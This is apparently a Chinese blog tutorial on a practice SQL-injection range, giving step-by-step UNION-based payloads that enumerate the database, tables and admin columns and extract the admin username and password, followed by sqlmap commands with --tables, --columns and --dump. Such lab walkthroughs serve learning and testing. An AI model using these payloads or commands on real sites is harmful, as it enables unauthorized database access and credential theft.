sql注入 练手网站_靶场sql注入练手----sqlmap篇（纯手打）

原创

weixin_39561004 于 2021-01-30 09:37:06 发布 119 收藏
文章标签： sql注入 练手网站

靶场地址：封神台

方法一、首先尝试手工找注入点判断

第一步，判断是否存在sql注入漏洞

构造 ?id=1 and 1=1 ，回车，页面返回正常

构造 ?id=1 and 1=2 ,回车，页面不正常，初步判断这里 可能 存在一个注入漏洞

第二步:判断字段数

构造 ?id=1 and 1=1 order by 1 回车，页面正常

构造 ?id=1 and 1=1 order by 2 回车，页面正常

构造 ?id=1 and 1=1 order by 3 回车，页面返回 错误，判断字段数为 2

第三步：判断会显点

构造 ?id=1 and 1=2 union select 1,2 回车，页面出现了 2 ，说明我们可以在数字 2 处显示我们想要的内容

第四步:查询相关内容

查询当前数据库名

构造 ?id=1 and 1=2 union select 1,database() 回车

查询当前数据库版本

构造 ?id=1 and 1=2 union select 1,version() 回车

查询当前数据库 表名

构造 ?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1 回车

绝大数情况下，管理员的账号密码都在admin表里

查询字段名

构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1 回车

构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1 回车

构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1 回车

查出 admin 表里 有 id username password 三个字段

查询字段内容

构造 ?id=1 and 1=2 union select 1,username from admin limit 0,1 回车

构造 ?id=1 and 1=2 union select 1,password from admin limit 1,1 回车

limit 1,1 没有回显，说明只有一个用户

构造 ?id=1 and 1=2 union select 1,password from admin limit 0,1 回车

方法二、上sqlmap

(1) 猜解是否能注入

sqlmap.py -u “xxx:8003/index.php?id=1”

(2)猜解表

sqlmap.py -u “xxx:8003/index.php?id=1” --tables

根据猜解的表进行猜解表的字段

win: python sqlmap.py -u "xxx:8003/index.php?id=1" --columns -T admin

根据字段猜解内容

sqlmap.py -u “xxx.xxx.xxx.xxx:8003/index.php?id=1” -D maoshe -T admin -C password,username --dump #-D 接数据库名字 -T接表名 -C接要查的字段名称逗号隔开 --dump 生成dump文件

爆出需要的字段

方法三、穿山甲等其他工具

以下省略n个字段

声明：博客内容仅供学习交流，用于违法目的请自行负责

以上就是靶场sql注入练手----sqlmap篇(纯手打)的全部内容。